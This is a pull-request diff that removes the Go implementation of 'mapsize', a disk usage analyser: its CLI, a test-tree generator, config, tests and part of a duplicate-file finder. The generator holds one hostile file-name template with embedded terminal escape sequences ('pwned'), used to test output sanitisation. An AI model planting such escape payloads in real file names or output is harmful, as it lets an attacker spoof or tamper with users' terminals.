Remove the Go implementation; build and release the Rust version for every OS #2

Merged
andydixon merged 12 commits from rust-port into master 2026-10-08 22:25:29 +02:00
131 changed files with 3 additions and 12500 deletions
Showing only changes of commit 507f635b49 - Show all commits
+3 -3
View File
@@ -1,5 +1,5 @@
/target
/dist
bin/
*.msz
*.prof
*.test
/mapsize
!src/snapshot/testdata/*.msz
View File
View File
-200
View File
@@ -1,200 +0,0 @@
// Command mapsize is an interactive terminal disk usage analyser.
package main
import (
"flag"
"fmt"
"io"
"log/slog"
"os"
"runtime"
"runtime/pprof"
"strings"
"github.com/andydixon/mapsize/internal/app"
"github.com/andydixon/mapsize/internal/brand"
"github.com/andydixon/mapsize/internal/config"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/scan"
"github.com/andydixon/mapsize/internal/snapshot"
"github.com/andydixon/mapsize/internal/textutil"
)
type multiFlag []string
func (m *multiFlag) String() string { return strings.Join(*m, ",") }
func (m *multiFlag) Set(s string) error { *m = append(*m, s); return nil }
func main() {
os.Exit(run(os.Args[1:]))
}
func run(args []string) int {
settings, cfgErr := config.Load()
fs := flag.NewFlagSet(brand.Name, flag.ContinueOnError)
fs.Usage = func() { usage(fs) }
var (
excludes multiFlag
workers = fs.String("workers", settings.Workers, "concurrency: conservative, balanced, aggressive or a number")
follow = fs.String("follow-symlinks", settings.FollowSymlinks, "none, same-filesystem or all")
oneFS = fs.Bool("one-file-system", settings.OneFileSystem, "do not cross filesystem boundaries")
oneFSx = fs.Bool("x", false, "short for --one-file-system")
readOnly = fs.Bool("read-only", false, "disable all modifying actions")
noUI = fs.Bool("no-ui", false, "scan without the interactive interface and print a summary")
jsonOut = fs.Bool("json", false, "print the inventory as JSON")
csvOut = fs.Bool("csv", false, "print the inventory as CSV")
depth = fs.Int("depth", -1, "maximum depth for --json/--csv (-1 = unlimited)")
top = fs.Int("top", 0, "print the N largest entries of the root")
largest = fs.Int("largest-files", 0, "print the N largest files")
dups = fs.Bool("duplicates", false, "find duplicate files (non-interactive)")
save = fs.String("save", "", "save a snapshot to `FILE` after scanning")
snap = fs.String("snapshot", "", "alias for --save")
load = fs.String("load", "", "open a saved snapshot `FILE` instead of scanning")
scanPath = fs.String("scan", "", "path to scan (alternative to a positional argument)")
compare = fs.Bool("compare", false, "compare two snapshots: --compare OLD NEW")
si = fs.Bool("si", settings.Units == "si", "use SI units (kB, MB) instead of IEC (KiB, MiB)")
logical = fs.Bool("apparent", settings.SizeMode == "logical", "size by logical (apparent) size instead of disk usage")
theme = fs.String("theme", settings.Theme, "colour theme: default, dark, high-contrast, mono")
colorMode = fs.String("color", "auto", "colour support: auto, truecolor, 256, 16, none")
noMouse = fs.Bool("no-mouse", !settings.Mouse, "disable mouse support")
logFile = fs.String("log", "", "write a debug log to `FILE`")
logLevel = fs.String("log-level", "info", "log level: error, warn, info, debug, trace")
cpuProfile = fs.String("cpuprofile", "", "write a CPU profile to `FILE`")
memProfile = fs.String("memprofile", "", "write a heap profile to `FILE` on exit")
version = fs.Bool("version", false, "print version and exit")
)
fs.Var(&excludes, "exclude", "exclude `PATTERN` (glob on name, or path prefix if it contains a separator); repeatable")
var positional []string
for {
if err := fs.Parse(args); err != nil {
if err == flag.ErrHelp {
return 0
}
return 2
}
args = fs.Args()
if len(args) == 0 {
break
}
positional = append(positional, args[0])
args = args[1:]
}
if *version {
fmt.Printf("%s %s (%s/%s)\n", brand.Name, brand.Version, runtime.GOOS, runtime.GOARCH)
return 0
}
if cfgErr != nil {
fmt.Fprintf(os.Stderr, "%s: warning: config: %v (using defaults)\n", brand.Name, cfgErr)
}
textutil.SI = *si
if *logFile != "" {
closeLog, err := setupLog(*logFile, *logLevel)
if err != nil {
fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err)
return 2
}
defer closeLog()
} else {
slog.SetDefault(slog.New(slog.NewTextHandler(io.Discard, nil)))
}
if *cpuProfile != "" {
f, err := os.Create(*cpuProfile)
if err == nil {
pprof.StartCPUProfile(f)
defer pprof.StopCPUProfile()
}
}
if *memProfile != "" {
defer func() {
if f, err := os.Create(*memProfile); err == nil {
runtime.GC()
pprof.WriteHeapProfile(f)
f.Close()
}
}()
}
cfg := &app.Config{
NoUI: *noUI, JSON: *jsonOut, CSV: *csvOut, Depth: *depth, Top: *top, LargestFiles: *largest,
Duplicates: *dups, ReadOnly: *readOnly, Theme: *theme, Mouse: !*noMouse, Color: *colorMode, Load: *load,
Settings: settings,
}
if *logical {
cfg.SizeMode = inventory.SizeLogical
}
cfg.Save = *save
if cfg.Save == "" {
cfg.Save = *snap
}
if *scanPath != "" {
positional = append([]string{*scanPath}, positional...)
}
if *compare {
if len(positional) != 2 {
fmt.Fprintf(os.Stderr, "%s: --compare needs exactly two snapshot files\n", brand.Name)
return 2
}
cfg.Compare = [2]string{positional[0], positional[1]}
} else {
if len(positional) > 1 {
fmt.Fprintf(os.Stderr, "%s: only one path may be scanned at a time\n", brand.Name)
return 2
}
if len(positional) == 1 && cfg.Load == "" && snapshot.IsSnapshot(positional[0]) {
cfg.Load = positional[0]
} else {
cfg.Paths = positional
}
}
w, err := scan.Workers(*workers)
if err != nil {
fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err)
return 2
}
fm, err := scan.ParseFollow(*follow)
if err != nil {
fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err)
return 2
}
cfg.ScanOpts = scan.Options{Workers: w, Follow: fm, OneFileSystem: *oneFS || *oneFSx,
Excludes: append(append([]string(nil), settings.Excludes...), excludes...)}
if err := app.Run(cfg); err != nil {
fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, textutil.Sanitize(err.Error()))
return 1
}
return 0
}
func setupLog(path, level string) (func(), error) {
lv := map[string]slog.Level{"error": slog.LevelError, "warn": slog.LevelWarn, "info": slog.LevelInfo,
"debug": slog.LevelDebug, "trace": slog.LevelDebug - 4}
l, ok := lv[level]
if !ok {
return nil, fmt.Errorf("invalid --log-level %q", level)
}
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
if err != nil {
return nil, err
}
slog.SetDefault(slog.New(slog.NewTextHandler(f, &slog.HandlerOptions{Level: l})))
return func() { f.Close() }, nil
}
func usage(fs *flag.FlagSet) {
w := fs.Output()
fmt.Fprintf(w, `%[1]s — interactive terminal disk usage analyser
Usage:
%[1]s [flags] [PATH] scan PATH (default .) interactively
%[1]s [flags] SNAPSHOT%[2]s open a saved snapshot
%[1]s --compare OLD NEW compare two snapshots
%[1]s PATH --top 50 | --json | --csv | --no-ui --save FILE
Flags:
`, brand.Name, brand.SnapshotExt)
fs.PrintDefaults()
}
-130
View File
@@ -1,130 +0,0 @@
// Command treegen creates synthetic directory trees for testing and
// benchmarking mapsize.
package main
import (
"flag"
"fmt"
"math"
"math/rand"
"os"
"path/filepath"
"time"
)
func main() {
var (
out = flag.String("out", "", "output directory (required, must not exist or be empty)")
dirs = flag.Int("directories", 1000, "number of directories")
files = flag.Int("files", 10000, "number of files")
depth = flag.Int("max-depth", 8, "maximum directory depth")
sparse = flag.Bool("sparse", false, "make some large files sparse")
unicode = flag.Bool("unicode", false, "use Unicode and unusual (but safe) names")
hostile = flag.Bool("hostile", false, "include names with control characters/escape sequences (Unix only)")
maxSize = flag.Int64("max-size", 1<<20, "largest regular file in bytes (sizes are log-uniform; content is written)")
seed = flag.Int64("seed", 1, "random seed (deterministic output)")
hotspots = flag.Int("hotspots", 3, "directories that receive a large share of files")
)
flag.Parse()
if *out == "" {
flag.Usage()
os.Exit(2)
}
if err := os.MkdirAll(*out, 0o755); err != nil {
fatal(err)
}
if ents, _ := os.ReadDir(*out); len(ents) > 0 {
fatal(fmt.Errorf("%s is not empty", *out))
}
r := rand.New(rand.NewSource(*seed))
start := time.Now()
type dir struct {
path string
depth int
}
all := []dir{{*out, 0}}
byDepth := [][]int{{0}}
for len(all) < *dirs+1 {
// Pick a depth first, then a directory at that depth, so the tree is
// broad near the top instead of one giant preferential-attachment chain.
lv := byDepth[r.Intn(len(byDepth))]
p := all[lv[r.Intn(len(lv))]]
if p.depth >= *depth {
continue
}
d := dir{filepath.Join(p.path, name(r, len(all), *unicode, *hostile)), p.depth + 1}
if err := os.Mkdir(d.path, 0o755); err != nil {
continue // name collision; try again
}
all = append(all, d)
if d.depth == len(byDepth) {
byDepth = append(byDepth, nil)
}
byDepth[d.depth] = append(byDepth[d.depth], len(all)-1)
}
hot := make([]int, *hotspots)
for i := range hot {
hot[i] = r.Intn(len(all))
}
var bytes int64
buf := make([]byte, *maxSize)
for i := range buf {
buf[i] = byte(r.Intn(256)) // incompressible, so allocation is real everywhere
}
for i := 0; i < *files; i++ {
var d dir
if len(hot) > 0 && r.Intn(3) == 0 {
d = all[hot[r.Intn(len(hot))]]
} else {
d = all[r.Intn(len(all))]
}
p := filepath.Join(d.path, name(r, i, *unicode, *hostile)+ext(r))
// Log-uniform sizes: many tiny files, a few large ones.
size := int64(math.Exp(r.Float64() * math.Log(float64(*maxSize))))
if r.Intn(20) == 0 {
size = 0
}
f, err := os.OpenFile(p, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o644)
if err != nil {
continue
}
if *sparse && r.Intn(200) == 0 {
// Sparse: a large logical size with almost nothing allocated.
f.Truncate(int64(1+r.Intn(8)) << 30)
f.WriteAt([]byte("x"), 0)
} else if size > 0 {
if _, err := f.Write(buf[:size]); err != nil {
fatal(err)
}
bytes += size
}
f.Close()
if i%100000 == 0 && i > 0 {
fmt.Fprintf(os.Stderr, "%d files…\n", i)
}
}
fmt.Fprintf(os.Stderr, "created %d directories, %d files (%d logical bytes) in %s\n",
len(all)-1, *files, bytes, time.Since(start).Round(time.Millisecond))
}
var words = []string{"data", "cache", "backup", "photos", "src", "build", "logs", "tmp", "vm", "media", "docs", "lib", "node_modules", "archive"}
var exts = []string{".txt", ".log", ".jpg", ".png", ".mp4", ".iso", ".qcow2", ".go", ".c", ".pdf", ".zip", ".tar.gz", ".db", ".so", "", ".json", ".mkv", ".flac"}
var uni = []string{"日本語", "Ünïcödé", "emoji 🎉", "Ελληνικά", "кириллица", "space name", "quote'name", "dash-name"}
func name(r *rand.Rand, i int, unicode, hostile bool) string {
switch {
case hostile && r.Intn(50) == 0:
return fmt.Sprintf("evil\x1b[31m%d\x1b]0;pwned\x07", i)
case unicode && r.Intn(5) == 0:
return fmt.Sprintf("%s-%d", uni[r.Intn(len(uni))], i)
}
return fmt.Sprintf("%s-%d", words[r.Intn(len(words))], i)
}
func ext(r *rand.Rand) string { return exts[r.Intn(len(exts))] }
func fatal(err error) {
fmt.Fprintln(os.Stderr, "treegen:", err)
os.Exit(1)
}
-25
View File
@@ -1,25 +0,0 @@
module github.com/andydixon/mapsize
go 1.26.0
require (
github.com/rivo/uniseg v0.4.7
golang.org/x/sys v0.48.0
)
require (
charm.land/bubbletea/v2 v2.0.10 // indirect
github.com/charmbracelet/colorprofile v0.4.3 // indirect
github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7 // indirect
github.com/charmbracelet/x/ansi v0.11.8 // indirect
github.com/charmbracelet/x/term v0.2.2 // indirect
github.com/charmbracelet/x/termios v0.1.1 // indirect
github.com/charmbracelet/x/windows v0.2.2 // indirect
github.com/clipperhouse/displaywidth v0.11.0 // indirect
github.com/clipperhouse/uax29/v2 v2.7.0 // indirect
github.com/lucasb-eyer/go-colorful v1.4.0 // indirect
github.com/mattn/go-runewidth v0.0.24 // indirect
github.com/muesli/cancelreader v0.2.2 // indirect
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
golang.org/x/sync v0.21.0 // indirect
)
-32
View File
@@ -1,32 +0,0 @@
charm.land/bubbletea/v2 v2.0.10 h1:oolvo20VBpI0PfqE7iFjkZ1bx0WpmXGfnKz5Yldjq5o=
charm.land/bubbletea/v2 v2.0.10/go.mod h1:QOatcnhOjYIfxzUSTz6raF7Ex4R/rIuHa3SnBdCCpMc=
github.com/charmbracelet/colorprofile v0.4.3 h1:QPa1IWkYI+AOB+fE+mg/5/4HRMZcaXex9t5KX76i20Q=
github.com/charmbracelet/colorprofile v0.4.3/go.mod h1:/zT4BhpD5aGFpqQQqw7a+VtHCzu+zrQtt1zhMt9mR4Q=
github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7 h1:3FmWoGNWK4STvqg0O0Aeav2T7rodWJAPeF0QpH+8gFw=
github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7/go.mod h1:f/jRa757WUmaOZrbPspXymbg/GnbF+rwe4OLsG7aXYo=
github.com/charmbracelet/x/ansi v0.11.8 h1:JMFwp0CgDC2+jcOB162HH5k7I3FVbgFSMMYg7dSPBQQ=
github.com/charmbracelet/x/ansi v0.11.8/go.mod h1:ZNN+3mXny/516oTQPLMPIBeSINvNJJQ8uQXDgbeJxY0=
github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk=
github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI=
github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY=
github.com/charmbracelet/x/termios v0.1.1/go.mod h1:rB7fnv1TgOPOyyKRJ9o+AsTU/vK5WHJ2ivHeut/Pcwo=
github.com/charmbracelet/x/windows v0.2.2 h1:IofanmuvaxnKHuV04sC0eBy/smG6kIKrWG2/jYn2GuM=
github.com/charmbracelet/x/windows v0.2.2/go.mod h1:/8XtdKZzedat74NQFn0NGlGL4soHB0YQZrETF96h75k=
github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSEFgwIwO+UVM8=
github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0=
github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk=
github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM=
github.com/lucasb-eyer/go-colorful v1.4.0 h1:UtrWVfLdarDgc44HcS7pYloGHJUjHV/4FwW4TvVgFr4=
github.com/lucasb-eyer/go-colorful v1.4.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/mattn/go-runewidth v0.0.24 h1:cpokDiIn0MGnhdHwuWnJBITySJ20QyNGnY2kR/ay2DU=
github.com/mattn/go-runewidth v0.0.24/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA=
github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no=
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM=
golang.org/x/sync v0.21.0 h1:HLII4xRRTtCRkxYp4HNFF0Js/Og6q2i++KXbg0gHCwM=
golang.org/x/sync v0.21.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
-171
View File
@@ -1,171 +0,0 @@
// Package app wires the command-line modes together: interactive TUI,
// non-interactive reports, snapshots and comparisons. TUI and CLI share the
// same scanner and inventory packages.
package app
import (
"context"
"fmt"
"io"
"log/slog"
"os"
"os/signal"
"time"
"github.com/andydixon/mapsize/internal/config"
"github.com/andydixon/mapsize/internal/export"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/scan"
"github.com/andydixon/mapsize/internal/textutil"
)
// Config is the fully-resolved command line.
type Config struct {
Paths []string
ScanOpts scan.Options
NoUI bool
JSON, CSV bool
Depth int
Top int
LargestFiles int
Save string
Load string
Compare [2]string
Duplicates bool
ReadOnly bool
Theme string
SizeMode inventory.SizeMode
Mouse bool
Color string
Settings config.Settings
Stdout io.Writer
Stderr io.Writer
}
// Report reports whether any non-interactive output was requested.
func (c *Config) Report() bool {
return c.NoUI || c.JSON || c.CSV || c.Top > 0 || c.LargestFiles > 0 || c.Duplicates
}
// Run executes the configured mode.
func Run(cfg *Config) error {
if cfg.Stdout == nil {
cfg.Stdout = os.Stdout
}
if cfg.Stderr == nil {
cfg.Stderr = os.Stderr
}
if cfg.Compare[0] != "" {
return runCompare(cfg)
}
if !cfg.Report() {
return runTUI(cfg)
}
return runReport(cfg)
}
// startSource begins a scan (or loads a snapshot). The scanner is nil when
// the tree came from a snapshot.
func startSource(ctx context.Context, cfg *Config) (*scan.Scanner, *inventory.Tree, error) {
if cfg.Load != "" {
t, err := loadSnapshot(cfg.Load)
return nil, t, err
}
root := "."
if len(cfg.Paths) > 0 {
root = cfg.Paths[0]
}
slog.Info("scan start", "workers", cfg.ScanOpts.Workers, "follow", cfg.ScanOpts.Follow.String())
s, err := scan.Start(ctx, root, cfg.ScanOpts)
if err != nil {
return nil, nil, err
}
return s, s.Tree, nil
}
func runReport(cfg *Config) error {
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
defer stop()
s, t, err := startSource(ctx, cfg)
if err != nil {
return err
}
if s != nil {
waitWithProgress(s, cfg.Stderr)
}
if cfg.Duplicates && !cfg.JSON && !cfg.CSV {
// Find takes its own read lock; never nest RLock.
if err := runDuplicates(ctx, cfg, t); err != nil {
return err
}
}
t.RLock()
defer t.RUnlock()
if s != nil && cfg.Save != "" {
if err := saveSnapshot(t, cfg.Save); err != nil {
return err
}
fmt.Fprintf(cfg.Stderr, "Saved snapshot %s\n", cfg.Save)
}
out := cfg.Stdout
switch {
case cfg.JSON:
return export.JSON(out, t, t.Root(), cfg.Depth)
case cfg.CSV:
return export.CSV(out, t, t.Root(), cfg.Depth)
}
if cfg.Top > 0 {
ids := t.SortedChildren(t.Root(), cfg.SizeMode)
if len(ids) > cfg.Top {
ids = ids[:cfg.Top]
}
export.Table(out, t, ids, cfg.SizeMode)
fmt.Fprintln(out)
}
if cfg.LargestFiles > 0 {
ids := t.Top(t.Root(), cfg.LargestFiles,
func(n *inventory.Node) bool {
return n.Kind == inventory.KindFile && n.Flags&inventory.FlagHardlinkDup == 0
},
func(n *inventory.Node) int64 { return n.Own(cfg.SizeMode) })
export.Table(out, t, ids, cfg.SizeMode)
fmt.Fprintln(out)
}
export.Summary(out, t)
return nil
}
// waitWithProgress blocks until the scan finishes, printing a progress line
// to w if it is a terminal.
func waitWithProgress(s *scan.Scanner, w io.Writer) {
tty := isTerminal(w)
tick := time.NewTicker(250 * time.Millisecond)
defer tick.Stop()
start := time.Now()
for {
select {
case <-s.Done():
if tty {
fmt.Fprint(w, "\r\033[K")
}
return
case <-tick.C:
if tty {
p := s.Progress()
el := time.Since(start)
fmt.Fprintf(w, "\r\033[Kscanning… %s entries %s/s queue %d %s",
textutil.Count(p.Entries), textutil.Count(int64(float64(p.Entries)/el.Seconds())),
p.Pending, textutil.Duration(el))
}
}
}
}
func isTerminal(w io.Writer) bool {
f, ok := w.(*os.File)
if !ok {
return false
}
fi, err := f.Stat()
return err == nil && fi.Mode()&os.ModeCharDevice != 0
}
-105
View File
@@ -1,105 +0,0 @@
package app
import (
"bytes"
"encoding/csv"
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"github.com/andydixon/mapsize/internal/scan"
)
func fixture(t *testing.T) string {
root := t.TempDir()
os.MkdirAll(filepath.Join(root, "big"), 0o755)
os.MkdirAll(filepath.Join(root, "small"), 0o755)
os.WriteFile(filepath.Join(root, "big", "a.iso"), make([]byte, 300_000), 0o644)
os.WriteFile(filepath.Join(root, "big", "b.iso"), make([]byte, 300_000), 0o644)
os.WriteFile(filepath.Join(root, "small", "c.txt"), []byte("hello"), 0o644)
return root
}
func run(t *testing.T, cfg *Config) string {
t.Helper()
var out bytes.Buffer
cfg.Stdout, cfg.Stderr = &out, &bytes.Buffer{}
cfg.ScanOpts = scan.Options{Workers: 2}
if err := Run(cfg); err != nil {
t.Fatalf("Run: %v", err)
}
return out.String()
}
func TestTopAndLargest(t *testing.T) {
root := fixture(t)
out := run(t, &Config{Paths: []string{root}, Top: 5, LargestFiles: 2})
if !strings.Contains(out, filepath.Join(root, "big")) || !strings.Contains(out, "a.iso") {
t.Fatalf("report missing entries:\n%s", out)
}
if strings.Index(out, filepath.Join(root, "big")) > strings.Index(out, filepath.Join(root, "small")) {
t.Fatalf("not sorted by size:\n%s", out)
}
}
func TestJSONIsValid(t *testing.T) {
root := fixture(t)
out := run(t, &Config{Paths: []string{root}, JSON: true, Depth: -1})
var v struct {
Root string
Complete bool
Tree struct {
Size int64
Children []struct{ Name string }
}
}
if err := json.Unmarshal([]byte(out), &v); err != nil {
t.Fatalf("invalid JSON: %v\n%s", err, out)
}
if !v.Complete || v.Tree.Size < 600_005 || len(v.Tree.Children) != 2 {
t.Fatalf("unexpected JSON: %+v", v)
}
}
func TestCSV(t *testing.T) {
root := fixture(t)
out := run(t, &Config{Paths: []string{root}, CSV: true, Depth: -1})
rows, err := csv.NewReader(strings.NewReader(out)).ReadAll()
if err != nil {
t.Fatal(err)
}
if len(rows) != 1+1+2+3 { // header, root, 2 dirs, 3 files
t.Fatalf("%d rows:\n%s", len(rows), out)
}
}
func TestSnapshotSaveLoadCompare(t *testing.T) {
root := fixture(t)
dir := t.TempDir()
a, b := filepath.Join(dir, "a.msz"), filepath.Join(dir, "b.msz")
run(t, &Config{Paths: []string{root}, NoUI: true, Save: a})
os.WriteFile(filepath.Join(root, "small", "grown.bin"), make([]byte, 500_000), 0o644)
os.Remove(filepath.Join(root, "big", "b.iso"))
run(t, &Config{Paths: []string{root}, NoUI: true, Save: b})
out := run(t, &Config{Load: a, Top: 3})
if !strings.Contains(out, "big") {
t.Fatalf("loaded snapshot report:\n%s", out)
}
out = run(t, &Config{Compare: [2]string{a, b}, NoUI: true})
for _, want := range []string{"new", "grown.bin", "removed", "b.iso"} {
if !strings.Contains(out, want) {
t.Fatalf("compare output missing %q:\n%s", want, out)
}
}
}
func TestDuplicatesReport(t *testing.T) {
root := fixture(t)
out := run(t, &Config{Paths: []string{root}, Duplicates: true})
if !strings.Contains(out, "1 verified duplicate groups") {
t.Fatalf("duplicates:\n%s", out)
}
}
-80
View File
@@ -1,80 +0,0 @@
package app
import (
"context"
"fmt"
"github.com/andydixon/mapsize/internal/duplicate"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/scan"
"github.com/andydixon/mapsize/internal/snapshot"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/tui"
)
func runTUI(cfg *Config) error {
return tui.Run(tui.Options{
ReadOnly: cfg.ReadOnly, Theme: cfg.Theme, SizeMode: cfg.SizeMode, Mouse: cfg.Mouse, Color: cfg.Color,
Save: cfg.Save, Settings: cfg.Settings,
Start: func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error) { return startSource(ctx, cfg) },
})
}
func loadSnapshot(path string) (*inventory.Tree, error) { return snapshot.LoadFile(path) }
func saveSnapshot(t *inventory.Tree, path string) error { return snapshot.SaveFile(path, t) }
func runCompare(cfg *Config) error {
old, err := snapshot.LoadFile(cfg.Compare[0])
if err != nil {
return fmt.Errorf("%s: %w", cfg.Compare[0], err)
}
nw, err := snapshot.LoadFile(cfg.Compare[1])
if err != nil {
return fmt.Errorf("%s: %w", cfg.Compare[1], err)
}
d := snapshot.Compare(old, nw)
if !cfg.Report() {
return tui.Run(tui.Options{
ReadOnly: true, Theme: cfg.Theme, SizeMode: cfg.SizeMode, Mouse: cfg.Mouse, Color: cfg.Color,
Settings: cfg.Settings, Diff: d,
Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, nw, nil },
})
}
k := cfg.Top
if k <= 0 {
k = 30
}
out := cfg.Stdout
ro, rn := old.Node(0), nw.Node(0)
fmt.Fprintf(out, "%s → %s\n", textutil.Sanitize(old.Stats.FromSnapshot), textutil.Sanitize(nw.Stats.FromSnapshot))
fmt.Fprintf(out, "Total %s → %s (%s)\n\n", textutil.Size(ro.Total(cfg.SizeMode)), textutil.Size(rn.Total(cfg.SizeMode)),
textutil.SignedSize(rn.Total(cfg.SizeMode)-ro.Total(cfg.SizeMode)))
for _, c := range d.Changes(k, cfg.SizeMode) {
fmt.Fprintf(out, "%-10s %14s %s\n", c.Status, textutil.SignedSize(c.Delta), textutil.Sanitize(c.Path))
}
return nil
}
func runDuplicates(ctx context.Context, cfg *Config, t *inventory.Tree) error {
var f duplicate.Finder
groups, err := f.Find(ctx, t, duplicate.Options{MinSize: 1})
if err != nil {
return err
}
out := cfg.Stdout
var wasted int64
t.RLock()
defer t.RUnlock()
for _, g := range groups {
wasted += g.Wasted()
fmt.Fprintf(out, "%s × %d (sha256 %x…)\n", textutil.Size(g.Size), len(g.Files), g.Hash[:6])
for _, id := range g.Files {
fmt.Fprintf(out, " %s\n", textutil.Sanitize(t.Path(id)))
}
}
p := f.Progress()
fmt.Fprintf(out, "\n%d verified duplicate groups, %s reclaimable (%d candidates by size, %d unreadable/changed)\n\n",
len(groups), textutil.Size(wasted), p.Candidates, p.Skipped)
return nil
}
-11
View File
@@ -1,11 +0,0 @@
// Package brand isolates the product name so it can be changed in one place.
package brand
const (
Name = "mapsize"
SnapshotExt = ".msz"
SnapshotMagic = "MAPSIZE\x00"
)
// Version is stamped at release time via -ldflags -X.
var Version = "1.2.0"
-72
View File
@@ -1,72 +0,0 @@
// Package config loads user settings from a JSON file in the OS-specific
// user configuration directory. It knows nothing about rendering.
package config
import (
"encoding/json"
"errors"
"io/fs"
"os"
"path/filepath"
"github.com/andydixon/mapsize/internal/brand"
)
// Settings are user preferences. Zero values are never used directly; Load
// starts from Defaults and overlays the file.
type Settings struct {
Workers string `json:"workers"` // conservative|balanced|aggressive|N
FollowSymlinks string `json:"follow_symlinks"` // none|same-filesystem|all
OneFileSystem bool `json:"one_file_system"`
Units string `json:"units"` // iec|si
SizeMode string `json:"size_mode"` // allocated|logical
Theme string `json:"theme"`
Mouse bool `json:"mouse"`
Excludes []string `json:"excludes"`
// ExtensionColors maps an extension (without dot) to "#rrggbb".
ExtensionColors map[string]string `json:"extension_colors"`
// CategoryColors maps a category name to "#rrggbb".
CategoryColors map[string]string `json:"category_colors"`
// RefreshHz is the UI refresh rate while scanning.
RefreshHz int `json:"refresh_hz"`
}
// Defaults returns the built-in settings.
func Defaults() Settings {
return Settings{
Workers: "balanced", FollowSymlinks: "none", Units: "iec", SizeMode: "allocated",
Theme: "default", Mouse: true, RefreshHz: 10,
}
}
// Path returns the config file location.
func Path() (string, error) {
dir, err := os.UserConfigDir()
if err != nil {
return "", err
}
return filepath.Join(dir, brand.Name, "config.json"), nil
}
// Load reads the config file if present. A missing file is not an error.
func Load() (Settings, error) {
s := Defaults()
p, err := Path()
if err != nil {
return s, nil
}
b, err := os.ReadFile(p)
if errors.Is(err, fs.ErrNotExist) {
return s, nil
}
if err != nil {
return s, err
}
if err := json.Unmarshal(b, &s); err != nil {
return Defaults(), err
}
if s.RefreshHz < 1 || s.RefreshHz > 60 {
s.RefreshHz = 10
}
return s, nil
}
-286
View File
@@ -1,286 +0,0 @@
// Package duplicate finds files with identical content in stages:
//
// 1. group by exact size (inventory only, no I/O)
// 2. hash three 16 KiB samples (start, middle, end) of each candidate
// 3. full SHA-256 of files whose samples still collide
//
// Only stage 3 establishes identity. Files are never declared duplicates by
// name or size alone. Reading files may update their access times.
package duplicate
import (
"context"
"crypto/sha256"
"io"
"os"
"sort"
"sync"
"sync/atomic"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/platform"
)
// Group is a set of files verified to have identical content.
type Group struct {
Size int64
Hash [32]byte
Files []inventory.NodeID
}
// Wasted returns the bytes reclaimable by keeping one copy.
func (g *Group) Wasted() int64 { return g.Size * int64(len(g.Files)-1) }
// Progress reports activity.
type Progress struct {
Stage string
Candidates int64 // files sharing a size with another file
BytesToHash int64
BytesHashed int64
Skipped int64 // unreadable or changed during hashing
VerifiedGroups int64
CandidateGroups int64
}
// Options tunes the search.
type Options struct {
MinSize int64 // ignore files smaller than this (default 1 byte)
Workers int // concurrent readers (default 4)
}
type cand struct {
id inventory.NodeID
path string
size int64
}
const sampleSize = 16 << 10
// Finder runs a search and exposes live progress.
type Finder struct {
hashed, toHash, skipped atomic.Int64
mu sync.Mutex
p Progress
}
// Progress returns a copy of the current progress.
func (f *Finder) Progress() Progress {
f.mu.Lock()
p := f.p
f.mu.Unlock()
p.BytesHashed, p.BytesToHash, p.Skipped = f.hashed.Load(), f.toHash.Load(), f.skipped.Load()
return p
}
